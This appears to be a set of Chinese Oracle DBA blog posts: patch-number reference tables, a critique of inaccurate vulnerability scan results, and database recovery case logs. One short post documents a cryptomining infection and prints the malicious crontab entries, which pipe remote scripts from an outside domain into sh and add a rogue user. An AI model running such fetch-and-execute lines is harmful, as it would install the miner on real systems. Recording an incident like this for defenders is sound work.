11.2.0.4扩展补丁信息-202107

联系:手机/微信(+86 17813235971) QQ(107644445)QQ咨询惜分飞

标题:11.2.0.4扩展补丁信息-202107

作者:惜分飞©版权所有[未经本人同意,不得以任何形式转载,否则有进一步追究法律责任的权利.]

11.2.0.4版本早进入了扩展服务期,这里提供相关信息,便于大家查找

Release Date Version Download link Included in Windows Bundle Comments
20-Jul-2021 11.2.0.4.210720 (Jul 2021) Database Patch Set Update (DB PSU) Patch 32758711 Patch 32775108 Linux x86-64 is Available. Bundles for other Platforms ETA is 13-Aug-2021.
20-Apr-2021 11.2.0.4.210420 (Apr 2021) Database Patch Set Update (DB PSU) Patch 32328626 Patch 32392141
19-Jan-2021 11.2.0.4.210119 (Jan 2021) Database Patch Set Update (DB PSU) Patch 31983472 Patch 32003403
20-Oct-2020 11.2.0.4.201020 (Oct 2020) Database Patch Set Update (DB PSU) Patch 31537677 Patch 31659823
Release Date Version Download link
20-Jul-2021 11.2.0.4.210720 (Jul 2021) Grid Infrastructure Patch Set Update (GI PSU) Patch 32917428
20-Apr-2021 11.2.0.4.210420 (Apr 2021) Grid Infrastructure Patch Set Update (GI PSU) Patch 32495145
19-Jan-2021 11.2.0.4.210119 (Jan 2021) Grid Infrastructure Patch Set Update (GI PSU) Patch 32131250
20-Oct-2020 11.2.0.4.201020 (Oct 2020) Grid Infrastructure Patch Set Update (GI PSU) Patch 31718723
Release Date Version Unix PSU Patch Windows Bundle Patch Comments
20-Jul-2021 11.2.0.4.210720 (Jul2021) OJVM Component Patch Set Update Patch 32876451 Patch 32905855 Patches are delayed. ETA is 13-Aug-2021.
20-Apr-2021 11.2.0.4.210420 (Apr2021) OJVM Component Patch Set Update Patch 32671980 Patch 32428494
19-Jan-2021 11.2.0.4.210119 (Jan2021) OJVM Component Patch Set Update ** Patch 32145687
20-Oct-2020 11.2.0.4.201020 (Oct 2020) OJVM Component Patch Set Update Patch 31668908 Patch 31740195
Release Date Version Download Link Comments
20-Jul-2021 Combo OJVM PSU 11.2.0.4.210720 and DB PSU 11.2.0.4.210720 Patch 32900228 Patch is delayed. ETA is 13-Aug-2021.
20-Apr-2021 Combo OJVM PSU 11.2.0.4.201020 and DB PSU 11.2.0.4.210420 Patch 32579111
19-Jan-2021 Combo OJVM PSU 11.2.0.4.201020 and DB PSU 11.2.0.4.210119 Patch 32126939 
20-Oct-2020 Combo OJVM PSU 11.2.0.4.201020 and DB PSU 11.2.0.4.201020 Patch 31720776
Release Date Version Download Link Comments
20-Jul-2021 Combo OJVM PSU 11.2.0.4.210720 and GI PSU 11.2.0.4.210720 Patch 32900245 Patch is delayed. ETA is 13-Aug-2021.
20-Apr-2021 Combo OJVM PSU 11.2.0.4.201020 and GI PSU 11.2.0.4.210420 Patch 32579106
19-Jan-2021 Combo OJVM PSU 11.2.0.4.201020 and GI PSU 11.2.0.4.210119 Patch 32126942
20-Oct-2020 Combo OJVM PSU 11.2.0.4.201020 and GI PSU 11.2.0.4.201020 Patch 31720783

安全漏洞扫描结果让人无语

联系:手机/微信(+86 17813235971) QQ(107644445)QQ咨询惜分飞

标题:安全漏洞扫描结果让人无语

作者:惜分飞©版权所有[未经本人同意,不得以任何形式转载,否则有进一步追究法律责任的权利.]

对于安全公司对oracle漏洞扫描的结果的准确性一直不太认可,前几天有客户linux 平台11.2.0.4的数据库打上了210420的patch,结果xx安全厂商扫描之后,依旧有大量安全漏洞,我随机对其中的两个高危漏洞进行分析,结果发现主要有:已经修复的漏洞继续报,漏洞对应数据库版本和实际数据库不符
数据库库的补丁信息
20210811190805


已经修复的漏洞依旧报
20210811190838
20210811190844

这里比较明显CVE-2018-3110漏洞oracle在18年7月份的补丁中已经修复,而我们这个是21年04月的补丁包含了该patch,已经修复了该问题
直接报漏洞和数据库版本不匹配
20210811190828

CVE-2016-1000031这个安全漏洞根本只是在12.2+版本中才有,他直接给客户的11204版本提示高危漏洞

win环境报ora-600 kokasgi1处理

联系:手机/微信(+86 17813235971) QQ(107644445)QQ咨询惜分飞

标题:win环境报ora-600 kokasgi1处理

作者:惜分飞©版权所有[未经本人同意,不得以任何形式转载,否则有进一步追究法律责任的权利.]

又一例数据库启动报ORA-600 kokasgi1错误的恢复请求

SMON: enabling tx recovery
Database Characterset is AL32UTF8
Errors in file e:\app\administrator\diag\rdbms\orcl\orcl\trace\orcl_ora_3024.trc  (incident=44691):
ORA-00600: 内部错误代码, 参数: [kokasgi1], [], [], [], [], [], [], [], [], [], [], []
Incident details in: e:\app\administrator\diag\rdbms\orcl\orcl\incident\incdir_44691\orcl_ora_3024_i44691.trc
Errors in file e:\app\administrator\diag\rdbms\orcl\orcl\trace\orcl_ora_3024.trc:
ORA-00600: 内部错误代码, 参数: [kokasgi1], [], [], [], [], [], [], [], [], [], [], []
Errors in file e:\app\administrator\diag\rdbms\orcl\orcl\trace\orcl_ora_3024.trc:
ORA-00600: 内部错误代码, 参数: [kokasgi1], [], [], [], [], [], [], [], [], [], [], []
Error 600 happened during db open, shutting down database
USER (ospid: 3024): terminating the instance due to error 600
Instance terminated by USER, pid = 3024
ORA-1092 signalled during: ALTER DATABASE OPEN...
opiodr aborting process unknown ospid (3024) as a result of ORA-1092

通过咨询是由于根据某厂商给出来的建议对对oracle的user$的系统默认用户update等操作
rename-sys


通过分析现在库的用户情况
20210729084444

通过一系列处理之后绕过kokasgi1错误,open数据库报ORA-12432错误

SMON: enabling tx recovery
Database Characterset is AL32UTF8
No Resource Manager plan active
Errors in file e:\app\administrator\diag\rdbms\orcl\orcl\trace\orcl_ora_3268.trc:
ORA-12432: LBAC 错误: zllegbs:OCIStmtExecute
Errors in file e:\app\administrator\diag\rdbms\orcl\orcl\trace\orcl_ora_3268.trc:
ORA-12432: LBAC 错误: zllegbs:OCIStmtExecute
Error 12432 happened during db open, shutting down database
USER (ospid: 3268): terminating the instance due to error 12432
Instance terminated by USER, pid = 3268
ORA-1092 signalled during: alter database open...
opiodr aborting process unknown ospid (3268) as a result of ORA-1092

通过分析启动过程确认数据库在启动的时候访问lbacsys.lbac$pol表异常

PARSE ERROR #2:len=38 dep=1 uid=0 oct=3 lid=0 tim=37509085805630 err=942
select max(pol#) from lbacsys.lbac$pol
ORA-12432: LBAC 错误: zllegnp:OCIStmtExecute
ORA-12432: LBAC 错误: zllegnp:OCIStmtExecute

*** 2021-07-28 18:31:15.593
USER (ospid: 3512): terminating the instance due to error 12432

经过修改文件让数据库不在访问该表,数据库启动正常

SMON: enabling cache recovery
Successfully onlined Undo Tablespace 2.
Verifying file header compatibility for 11g tablespace encryption..
Verifying 11g file header compatibility for tablespace encryption completed
SMON: enabling tx recovery
Database Characterset is AL32UTF8
No Resource Manager plan active
replication_dependency_tracking turned off (no async multimaster replication found)
Starting background process QMNC
Wed Jul 28 19:52:59 2021
QMNC started with pid=32, OS id=2840 
Completed: alter database open

顺利导出数据,恢复完成

记录一种挖矿病毒现象

联系:手机/微信(+86 17813235971) QQ(107644445)QQ咨询惜分飞

标题:记录一种挖矿病毒现象

作者:惜分飞©版权所有[未经本人同意,不得以任何形式转载,否则有进一步追究法律责任的权利.]

最近有朋友遇到linux系统不行被注入了挖矿病毒,大概记录下存在问题
在/etc/passwd文件中有x用户

x:x:2001:2001::/home/x:/bin/bash

在root和x用户的crontab中有恶意执行任务

[root@localhost tmp]# crontab -u x -l
* * * * * /var/tmp/.systemd/.systemd
* * * * * /var/tmp/.update/.update
*/10 * * * * curl -fsSL http://pw.pwndns.pw/update.sh | sh -s uc
@reboot curl -fsSL http://pw.pwndns.pw/reboot.sh | sh
[root@localhost tmp]# crontab -l
* * * * * /var/tmp/.systemd/.systemd
*/5 * * * * curl -fsSL http://pw.pwndns.pw/root.sh | sh

在/var/tmp下面有.systemd和.update文件夹

[root@localhost tmp]# ls -lart /var/tmp/
drwxr-xr-x   2 x    tape   37 Jul 27 21:49 .systemd
drwxr-xr-x   2 x    tape   36 Jul 27 21:49 .update

Assistant: Download Reference for Oracle Database/GI PSU, SPU(CPU), Bundle Patches, Patchsets and Base Releases-202107

联系:手机/微信(+86 17813235971) QQ(107644445)QQ咨询惜分飞

标题:Assistant: Download Reference for Oracle Database/GI PSU, SPU(CPU), Bundle Patches, Patchsets and Base Releases-202107

作者:惜分飞©版权所有[未经本人同意,不得以任何形式转载,否则有进一步追究法律责任的权利.]

 

19.0.0.0
Description OJVMUpdate OJVM+DBUpdate OJVM+GIUpdate
JUL2021(19.12.0.0.210720) 32876380 32900021 32900083
APR2021(19.11.0.0.210420) 32399816 32578972 32578973
JAN2021(19.10.0.0.210119) 32067171 32126828 32126842
OCT2020(19.9.0.0.201020) 31668882 31720396 31720429
JUL2020(19.8.0.0.200714) 31219897 31326362 31326369
APR2020(19.7.0.0.200414) 30805684 30783543 30783556
JAN2020(19.6.0.0.200114) 30484981 30463595 30463609
OCT2019(19.5.0.0.191015) 30128191 30133124 30133178
JUL2019(19.4.0.0.190716) 29774421 29699079 29699097
APR2019(19.3.0.0.190416) 29548437 29621253 29621299
19.0.0.0
Description DatabaseUpdate GIUpdate WindowsBundlePatch
JUL2021(19.12.0.0.0) 32904851 32895426 32832237
APR2021(19.11.0.0.0) 32545013 32545008 32409154
JAN2021(19.10.0.0.0) 32218454 32226239 32062765
OCT2020(19.9.0.0.0) 31771877 31750108 31719903
JUL2020(19.8.0.0.0) 31281355 31305339 31247621
APR2020(19.7.0.0.0) 30869156 30899722 30901317
JAN2020(19.6.0.0.0) 30557433 30501910 30445947
OCT2019(19.5.0.0.0) 30125133 30116789 30151705
JUL2019(19.4.0.0.0) 29834717 29708769 NA
APR2019(19.3.0.0.0) 29517242 29517302 NA
18.0.0.0
Description OJVMUpdate OJVM+DBUpdate OJVM+GIUpdate
APR2021(18.14.0.0.210420) 32552752 32579022 32579024
JAN2021(18.13.0.0.210119) 32119939 32126855 32126862
OCT2020(18.12.0.0.201020) 31668892 31720435 31720457
JUL2020(18.11.0.0.200714) 31219909 31326374 31326376
APR2020(18.10.0.0.200414) 30805598 30783603 30783607
JAN2020(18.9.0.0.200114) 30501926 30463620 30463635
OCT2019(18.8.0.0.191015) 30133603 30133203 30133246
JUL2091(18.7.0.0.190716) 29774410 29699112 29699160
APR2019(18.6.0.0.190416) 29249584 29249695 29251992
JAN2019(18.5.0.0.190115) 28790647 28980087 28980105
OCT2018(18.4.0.0.181016) 28502229 28689117 28689122
JUL2018(18.3.0.0.180717) 27923415 28317326 28317346
APR2018(18.2.0.0.180417) 27636900 27726465 27726470
18.0.0.0
Description DatabaseUpdate GIUpdate WindowsBundlePatch
APR2021(18.14.0.0.0) 32524155 32524152 32438481
JAN2021(18.13.0.0.0) 32204699 32226219 32062760
OCT2020(18.12.0.0.0) 31730250 31748523 31629682
JUL2020(18.11.0.0.0) 31308624 31305362 31247612
APR2020(18.10.0.0.0) 30872794 30899645 30901451
JAN2020(18.9.0.0.0) 30480385 30480702 30445951
OCT2019(18.8.0.0.0) 30112122 30116795 30150321
JUL2019(18.7.0.0.0) 29757256 29708703 29859180
APR2019(18.6.0.0.0) 29301631 29301682 29589622
JAN2019(18.5.0.0.0) 28822489 28828717 29124511
OCT2018(18.4.0.0.0) 28655784 28659165 NA
JUL2018(18.3.0.0.0) 28090523 28096386 NA
APR2018(18.2.0.0.0) 27676517 27681568 NA
12.2.0.1
Description OJVMUpdate OJVMWindowsBundlePatch ComboOJVM+DBUpdate ComboOJVM+GIUpdate
JUL2021(12.2.0.1.210720) 32876409 32905896 32900144 32900156
APR2021(12.2.0.1.210420) 32473172 32427674 32579049 32579057
JAN2021(12.2.0.1.210119) 32119931 32142294 32126871 32226491
OCT2020(12.2.0.1.201020) 31668898 31740064 31720473 31720486
JUL2020(12.2.0.1.200714) 31219919 31465105 31326379 31326390
APR2020(12.2.0.1.200414) 30805580 31035002 30783641 30783652
JAN2020(12.2.0.1.200114) 30502018 30525838 30463660 30463673
OCT2019(12.2.0.1.191015) 30133625 30268021 30133374 30133386
JUL2019(12.2.0.1.190716) 29774415 29837425 29699168 29699173
APR2019(12.2.0.1.190416) 29249637 29281550 29252035 29252072
JAN2019(12.2.0.1.190115) 28790651 28994068 28980102 28980109
NOV2018(12.2.0.1.181130) NA 28412314 NA NA
OCT2018(12.2.0.1.181016) 28440725 28412312 28689128 28689130
JUL2018(12.2.0.1.180717) 27923353 28135129 28317292 28317269
APR2018(12.2.0.1.180417) 27475613 27650410 27726453 27726454
JAN2018(12.2.0.1.180116) 27001739 27162975 27010695 27010711
OCT2017(12.2.0.1.171017) 26635944 26792369 26636004 26636246
AUG2017(12.2.0.1.170814) N/A 26565082 26550033 26550314
JUL2017(12.2.0.1.170718) 25811364 26182467 26146314 26146318
12.2.0.1
Description DatabaseUpdate GIUpdate WindowsBundlePatch
JUL2021(12.2.0.1.210720) 32916808 32928749 32775037
APR2021(12.2.0.1.210420) 32507738 32540149 32392089
JAN2021(12.2.0.1.210119) 32228578 32226491 31987852
OCT2020(12.2.0.1.201020) 31741641 31750094 31654782
JUL2020(12.2.0.1.200714) 31312468 31305382 31210848
APR2020(12.2.0.1.200414) 30886680 30920127 30861472
JAN2020(12.2.0.1.200114) 30593149 30501932 30446296
OCT2019(12.2.0.1.191015) 30138470 30116802 30150416
JUL2019(12.2.0.1.190716) 29757449 29708720 29832062
APR2019(12.2.0.1.190416) 29314339 29301687 29394003
JAN2019(12.2.0.1.190115) 28822515 28828733 28810696
NOV2018(12.2.0.1.181130) NA NA 28810550(64bit)
OCT2018(12.2.0.1.181016) 28662603 28714316 28574555
JUL2018(12.2.0.1.180717) 28163133 NA 27937914
APR2018(12.2.0.1.180417) 27674384 27468969 27426753
JAN2018(12.2.0.1.180116) 27105253 27100009 27162931
NOV2017(12.2.0.1.171121) NA 27010638 NA
OCT2017(12.2.0.1.171017) 26710464 26737266 26758841
AUG2017(12.2.0.1.170814) 26609817 26610291 26204214
JUL2017(12.2.0.1.170718) 26123830 26133434 26204212
12.1.0.2
Description OJVMPSU(Linux/Unix) OJVMBP(Windows) ComboOJVM+DBPSU ComboOJVM+GIPSU ComboOJVM+DBProactiveBP GenericJDBC
JUL2021(12.1.0.2.210720) 32876425 32905878 32900172 32900185 32900201 IncludedinOJVMPSU
APR2021(12.1.0.2.210420) 32473164 32427683 32579074 32579077 32579100 IncludedinOJVMPSU
JAN2021(12.1.0.2.210119) 32119956 32142066 32126886 32126899 32126908 IncludedinOJVMPSU
OCT2020(12.1.0.2.201020) 31668915 31740134 31720729 31720761 31720769 IncludedinOJVMPSU
JUL2020(12.1.0.2.200714) 31219939 31465095 31326396 31326400 31326402 IncludedinOJVMPSU
APR2020(12.1.0.2.200414) 30805558 31037459 30783658 30783882 30783885 IncludedinOJVMPSU
JAN2020(12.1.0.2.200114) 30502041 30671054 30463684 30463691 30463708 IncludedinOJVMPSU
OCT2019(12.1.0.2.191015) 30128197 30268189 30133412 30133443 30133464 IncludedinOJVMPSU
JUL2019(12.1.0.2.190716) 29774383 29837393 29699220 29699244 29699255 IncludedinOJVMPSU
APR2019(12.1.0.2.190416) 29251241 29447962 29252146 29252164 29252171 IncludedinOJVMPSU
JAN2019(12.1.0.2.190115) 28790654 28994063 28980115 28980120 28980123 IncludedinOJVMPSU
NOV2018(12.1.0.2.181130) NA 28412301 NA NA NA IncludedinOJVMPSU
OCT2018(12.1.0.2.181016) 28440711 28412299 28689146 28689148 28689151 IncludedinOJVMPSU
JUL2018(12.1.0.2.180717) 27923320 28135126 28317232 28317214 28317206 IncludedinOJVMPSU
APR2018(12.1.0.2.180417) 27475603 27650403 27726471 27726478 27726492 IncludedinOJVMPSU
JAN2018(12.1.0.2.180116) 27001733 27162998 27010839 27010888 27010941 IncludedinOJVMPSU
OCT2017(12.1.0.2.171017) 26635845 26792364 26636270 26636286 26636295 IncludedinOJVMPSU
AUG2017(12.1.0.2.170814) N/A 26182441 26550023 26550339 26550390 IncludedinOJVMPSU
JUL2017(12.1.0.2.170718) 26027162 26182439 25901056 26030704 26030586 IncludedinOJVMPSU
APR2017(12.1.0.2.170418) 25437695 25590993 25433980 25434018 25437795 IncludedinOJVMPSU
JAN2017(12.1.0.2.170117) 24917972 25112498 24917069 24917916 24917987 IncludedinOJVMPSU
OCT2016(12.1.0.2.161018) 24315824 24591630 24433133 24433148 24436306 IncludedinOJVMPSU
JUL2016(12.1.0.2.160719) 23177536 23515290 23615289 23615308 23615334 23727148(IncludedinOJVMPSU)
APR2016(12.1.0.2.160419) 22674709 22839633 22738582 22738641 22738657 N/A
JAN2016(12.1.0.2.160119) 22139226 22311086 22191659 22191676 22378102
OCT2015 21555660(12.1.0.2.5) 21788394(12.1.0.2.4) 21520444 21523260 21744313
JUL2015 21068507(12.1.0.2.4) 21153530(12.1.0.2.3) 21150768 21150782 21150792
APR2015 20415564(12.1.0.2.3) 20391199(12.1.0.2.2) 20834354 20834538 20834553
JAN2015 19877336(12.1.0.2.2) 20225938(12.1.0.2.1) 20132434 20132450 20132462
OCT2014(12.1.0.2.1) 19282028 19791366 19791375 19791399
12.1.0.2
Description PSU GIPSU ProactiveBundlePatch BundlePatch(Windows32bit&64bit)
JUL2021(12.1.0.2.210720) 32768233 32917447 32917362 32774982
APR2021(12.1.0.2.210420) 32328635 32495126 32518631 32396181
JAN2021(12.1.0.2.210119) 31985579 32131261 32131231 32000405
OCT2020(12.1.0.2.201020) 31550110 31718737 31718813 31658987
JUL2020(12.1.0.2.200714) 31113348 31305174 31307682 31211574
APR2020(12.1.0.2.200414) 30700212 30805421 30805478 30861721
JAN2020(12.1.0.2.200114) 30340202 30464119 30464171 30455401
OCT2019(12.1.0.2.191015) 29918340 30070257 30070242 30049606
JUL2019(12.1.0.2.190716) 29494060 29698592 29698629 29831650
APR2019(12.1.0.2.190416) 29141015 29176115 29176139 29413116
JAN2019(12.1.0.2.190115) 28729169 28813884 28833531 28810679
NOV2018(12.1.0.2.181130) NA NA NA 28810544(64bit)
OCT2018(12.1.0.2.181016) 28259833 28349311 28349951 28563501
JUL2018(12.1.0.2.180717) 27547329 27967747 27968010 27937907
APR2018(12.1.0.2.180417) 27338041 27468957 27486326 27440294
JAN2018(12.1.0.2.180116) 26925311 27010872 27010930 27162953
OCT2017(12.1.0.2.171017) 26713565 26635815 26635880 26720785
AUG2017(12.1.0.2.170814) 26609783 26610308 26610322 26161726
JUL2017(12.1.0.2.170718) 25755742 25901062 26022196 26161724
APR2017(12.1.0.2.170418) 25171037 25434003 25433352 25632533
JAN2017(12.1.0.2.170117) 24732082 24917825 24968615 25115951
OCT2016(12.1.0.2.161018) 24006101 24412235 24448103 24591642
JUL2016(12.1.0.2.160719) 23054246 23273629 23273686 23530387
APR2016(12.1.0.2.160419) 22291127 22646084 22899531 22809813
JAN2016(12.1.0.2.160119) 21948354 22191349 22243551 22310559
OCT2015 21359755(12.1.0.2.5) 21523234(12.1.0.2.5) 21744410(12.1.0.2.13) 21821214(12.1.0.2.10)
JUL2015 20831110(12.1.0.2.4) 20996835(12.1.0.2.4) 21188742(12.1.0.2.10) 21126814(12.1.0.2.7)
APR2015 20299023(12.1.0.2.3) 20485724(12.1.0.2.3) 20698050(12.1.0.2.7) 20684004(12.1.0.2.4)
JAN2015 19769480(12.1.0.2.2) 19954978(12.1.0.2.2) 20141343(12.1.0.2.4) 19720843(12.1.0.2.1)
OCT2014 19303936(12.1.0.2.1) 19392646(12.1.0.2.1) 19404326(12.1.0.2.1) N/A

参考:Assistant: Download Reference for Oracle Database/GI Update, Revision, PSU, SPU(CPU), Bundle Patches, Patchsets and Base Releases (Doc ID 2118136.2)

又一例存储cache丢失oracle数据库恢复

联系:手机/微信(+86 17813235971) QQ(107644445)QQ咨询惜分飞

标题:又一例存储cache丢失oracle数据库恢复

作者:惜分飞©版权所有[未经本人同意,不得以任何形式转载,否则有进一步追究法律责任的权利.]

10.2.0.5 hp unix rac,由于存储掉电导致cache丢失,数据库无法正常启动,客户要求我们介入处理
数据库mount报ORA-00600 kccpb_sanity_check_2错误

Thu Jul 22 14:52:06 EAT 2021
alter database mount
Thu Jul 22 14:52:10 EAT 2021
Errors in file /oracle/admin/xff/udump/xff1_ora_4611.trc:
ORA-00600: internal error code, arguments: [kccpb_sanity_check_2], [4697564], [4697561], [0x000000000], [], [], [], []

该错误是由于控制文件损坏,尝试重建控制文件报ORA-01163,ORA-01517

'/dev/oradata/rxff_ls94'
CHARACTER SET ZHS16GBK
WARNING: Default Temporary Tablespace not specified in CREATE DATABASE command
Default Temporary Tablespace will be necessary for a locally managed database in future release
Thu Jul 22 14:54:02 EAT 2021
Errors in file /oracle/admin/xff/udump/xff1_ora_7283.trc:
ORA-01163: SIZE clause indicates 262144 (blocks), but should match header 204800
ORA-01517: log member: '/dev/oradata/rxff_redo1_1'
ORA-1503 signalled during: CREATE CONTROLFILE REUSE DATABASE "xff" NORESETLOGS  NOARCHIVELOG

由于redo大小错误导致该问题,设置正确的redo大小继续重建

'/dev/oradata/rxff_ls94'
CHARACTER SET ZHS16GBK
WARNING: Default Temporary Tablespace not specified in CREATE DATABASE command
Default Temporary Tablespace will be necessary for a locally managed database in future release
Thu Jul 22 15:01:00 EAT 2021
Errors in file /oracle/admin/xff/udump/xff1_ora_14737.trc:
ORA-00600: internal error code, arguments: [kccsga_update_ckpt_4], [32], [8], [], [], [], [], []
Thu Jul 22 15:01:01 EAT 2021
Errors in file /oracle/admin/xff/udump/xff1_ora_14737.trc:
ORA-00600: internal error code, arguments: [kccsga_update_ckpt_4], [32], [8], [], [], [], [], []
ORA-1503 signalled during: CREATE CONTROLFILE REUSE DATABASE "xff" NORESETLOGS  NOARCHIVELOG

报ORA-00600 kccsga_update_ckpt_4错误,导致控制文件失败,处理该错误之后,重建控制文件成功,分析文件头信息和redo信息,确认只能强制库,尝试强制open库

Thu Jul 22 16:02:05 EAT 2021
SMON: enabling cache recovery
Thu Jul 22 16:02:05 EAT 2021
ORA-01555 caused by SQL statement below (SQL ID: 4krwuz0ctqxdt, SCN: 0x0002.cdad19ed):
Thu Jul 22 16:02:05 EAT 2021
select ctime, mtime, stime from obj$ where obj# = :1
Thu Jul 22 16:02:05 EAT 2021
Errors in file /oracle/admin/xff/udump/xff1_ora_23219.trc:
ORA-00704: bootstrap process failure
ORA-00704: bootstrap process failure
ORA-00604: error occurred at recursive SQL level 1
ORA-01555: snapshot too old: rollback segment number 19 with name "_SYSSMU19$" too small
Error 704 happened during db open, shutting down database
USER: terminating instance due to error 704
Instance terminated by USER, pid = 23219
ORA-1092 signalled during: alter database open resetlogs...

这个问题比较常见:ORA-00704 ORA-00604 ORA-01555,参考类似文章:
在数据库open过程中常遇到ORA-01555汇总
数据库open过程遭遇ORA-1555对应sql语句补充
数据库open成功但是报ORA-00600 4137

Database Characterset is ZHS16GBK
Opening with internal Resource Manager plan 
Thu Jul 22 16:08:48 EAT 2021
Errors in file /oracle/admin/xff/bdump/xff1_smon_27436.trc:
ORA-00600: internal error code, arguments: [4137], [], [], [], [], [], [], []
replication_dependency_tracking turned off (no async multimaster replication found)
Starting background process QMNC
QMNC started with pid=30, OS id=997
Thu Jul 22 16:08:49 EAT 2021
LOGSTDBY: Validating controlfile with logical metadata
Thu Jul 22 16:08:49 EAT 2021
ORACLE Instance xff1 (pid = 11) - Error 600 encountered while recovering transaction (1, 43).
Thu Jul 22 16:08:49 EAT 2021
Errors in file /oracle/admin/xff/bdump/xff1_smon_27436.trc:
ORA-00600: internal error code, arguments: [4137], [], [], [], [], [], [], []
Thu Jul 22 16:08:49 EAT 2021
Trace dumping is performing id=[cdmp_20210722160849]
Thu Jul 22 16:08:49 EAT 2021
LOGSTDBY: Validation complete
Completed: alter database open

该问题是由于undo异常,对undo进行处理,数据库无明显报错,安排导出数据

ORA-01092: ORACLE 例程终止 故障恢复

联系:手机/微信(+86 17813235971) QQ(107644445)QQ咨询惜分飞

标题:ORA-01092: ORACLE 例程终止 故障恢复

作者:惜分飞©版权所有[未经本人同意,不得以任何形式转载,否则有进一步追究法律责任的权利.]

数据库启动报ORA-01092: ORACLE 例程终止。强行断开连接 错误

SQL> RECOVER DATABASE;
完成介质恢复。
SQL> ALTER DATABASE OPEN;
ALTER DATABASE OPEN
*
ERROR 位于第 1 行:
ORA-01092: ORACLE 例程终止。强行断开连接

查看alert日志

Wed Jul 21 12:32:04 2021
SMON: enabling cache recovery
Wed Jul 21 12:32:04 2021
Errors in file c:\oracle\admin\dcpdm\udump\dcpdm_ora_3004.trc:
ORA-00600: ?????????: [4194], [34], [8], [], [], [], [], []

Wed Jul 21 12:32:05 2021
Recovery of Online Redo Log: Thread 1 Group 2 Seq 495 Reading mem 0
  Mem# 0 errs 0: C:\ORACLE\ORADATA\DCPDM\REDO02.LOG
Recovery of Online Redo Log: Thread 1 Group 2 Seq 495 Reading mem 0
  Mem# 0 errs 0: C:\ORACLE\ORADATA\DCPDM\REDO02.LOG
Wed Jul 21 12:32:05 2021
Errors in file c:\oracle\admin\dcpdm\udump\dcpdm_ora_3004.trc:
ORA-00604: ?? SQL ? 1 ????
ORA-00607: ?????????????
ORA-00600: ?????????: [4194], [34], [8], [], [], [], [], []

Error 604 happened during db open, shutting down database
USER: terminating instance due to error 604
Wed Jul 21 12:32:05 2021
Errors in file c:\oracle\admin\dcpdm\bdump\dcpdm_pmon_13020.trc:
ORA-00604: error occurred at recursive SQL level 

Instance terminated by USER, pid = 3004
ORA-1092 signalled during: ALTER DATABASE OPEN...

trace文件信息

*** 2021-07-21 12:32:04.000
ksedmp: internal or fatal error
ORA-00600: ?????????: [4194], [34], [8], [], [], [], [], []
Current SQL statement for this session:
update undo$ set name=:2,file#=:3,block#=:4,status$=:5,user#=:6,undosqn=:7,xactsqn=:8,
scnbas=:9,scnwrp=:10,inst#=:11,ts#=:12,spare1=:13 where us#=:1
----- Call Stack Trace -----
calling              call     entry                argument values in hex      
location             type     point                (? means dubious value)     
-------------------- -------- -------------------- ----------------------------
_ksedmp+147          CALLrel  _ksedst+0            
_ksfdmp.108+e        CALLrel  _ksedmp+0            3
_kgeriv+89           CALLreg  00000000             4E59D98 3
_kseipre.107+3f      CALLrel  _kgeriv+0            
_ksesic2+24          CALLrel  _kseipre.107+0       
__VInfreq__kturdb+8  CALLrel  _ksesic2+0           1062 0 22 0 8
b                                                  
_kcoapl+1df          CALLreg  00000000             2BB0F94 2BB100A 11 6C37C014
_kcbapl+71           CALLrel  _kcoapl+0            2BB0F90 6C37C000 1 0 2000
_kcrfwr+734          CALLrel  _kcbapl+0            2BB0F90 6C3FC788 50D4FA0
_kcbchg1+7ec         CALLrel  _kcrfwr+0            
_ktuchg+630          CALLrel  _kcbchg1+0           0 4 50D5228 50D5240 0 0
_ktbchg2+75          CALLrel  _ktuchg+0            2 66F589A4 1 2C8CD14 2C8CD1C
                                                   2BB0F90 2C8C32C 2BB0ED0 0 0
_kddchg+18f          CALLrel  _ktbchg2+0           0 66F589A4 2C8CD14 2C8CD1C
                                                   2BB0F90 2C8C324 2BB0ED0 0 0
_kduovw.53+6e3       CALLrel  _kddchg+0            2C8C2E8 2C8CD14 2C8CD1C
                                                   2BB0F90 2BB0ED0 0 0
_kduurp.53+61a       CALLrel  _kduovw.53+0         2C8C2E8
_kdusru+aa5          CALLrel  _kduurp.53+0         2C8C2E8 66F589FC
_kauupd+12e          CALLrel  _kdusru+0            2C8C71C 66F589FC 2C8C2E8 0
_updrow+729          CALLrel  _kauupd+0            2C8C718 66F589FC 2C8C2E8 0
                                                   66F58448 E F 66F60EE0 12
                                                   50DBBA4 50DBBA8
_qerupFetch+107      CALLrel  _updrow+0            
_updaul+202          CALL???  00000000             66F58660 0 66F6BC3C 7FFF
_updThreePhaseExe+b  CALLrel  _updaul+0            66F6B9D0 50DBD34 0
6                                                  
_updexe+105          CALLrel  _updThreePhaseExe+0  66F6B9D0 0 2C8C2E8 50DBE10
                                                   66F6B9D0 1 50DBE10 0
_opiexe+f97          CALLrel  _updexe+0            66F6B9D0 50DBF4C
_opiodr+4cd          CALLreg  00000000             4 3 50DC898
_rpidrus.43+99       CALLrel  _opiodr+0            4 3 50DC898 A
_skgmstack+71        CALLreg  00000000             50DC488
_rpidru+6d           CALLrel  _skgmstack+0         50DC4A0 4E59C20 F618 778198
                                                   50DC488
_rpiswu2+17e         CALLreg  00000000             50DC7C0
_rpidrv+109          CALLrel  _rpiswu2+0           
_rpiexe+33           CALLrel  _rpidrv+0            A 4 50DC898 8
_ktuscu+2a8          CALLrel  _rpiexe+0            A
_kqrcmt+2c2          CALL???  00000000             66F6D654 3
..1.18_2.filter.95+  CALLrel  _kqrcmt+0            67B88CD4 1 0 4E59D98 4E59D98
159                                                FF 0 0 0
..1.23_5.filter.99+  CALLrel  _ktcrcm+0            67B88CD4 0 0 0 0 1 0 0
14d                                                
_ktuini+64           CALLrel  _ktuiup.99+0         50DD994
_adbdrv+2665         CALLrel  _ktuini+0            50DD994
..1.5_1.filter.29+2  CALLrel  _adbdrv+0            
9d                                                 
_opiosq0+9a4         CALLrel  _opiexe+0            4 0 50DDDDC
_kpooprx+c6          CALLrel  _opiosq0+0           3 E 50DDE74 24
_kpoal8+225          CALLrel  _kpooprx+0           50DE73C 50DE684 13 1 0 24
_opiodr+4cd          CALLreg  00000000             5E 14 50DE738
_ttcpip+a86          CALLreg  00000000             5E 14 50DE738 0
_opitsk+2f4          CALLrel  _ttcpip+0            
_opiino+5fc          CALLrel  _opitsk+0            0 0 4E5FEE8 2BDF044 F3 0
_opiodr+4cd          CALLreg  00000000             3C 4 50DFBD8
_opidrv+233          CALLrel  _opiodr+0            3C 4 50DFBD8 0
_sou2o+19            CALLrel  _opidrv+0            
_opimai+10a          CALLrel  _sou2o+0             
_OracleThreadStart@  CALLrel  _opimai+0            
4+35c                                              
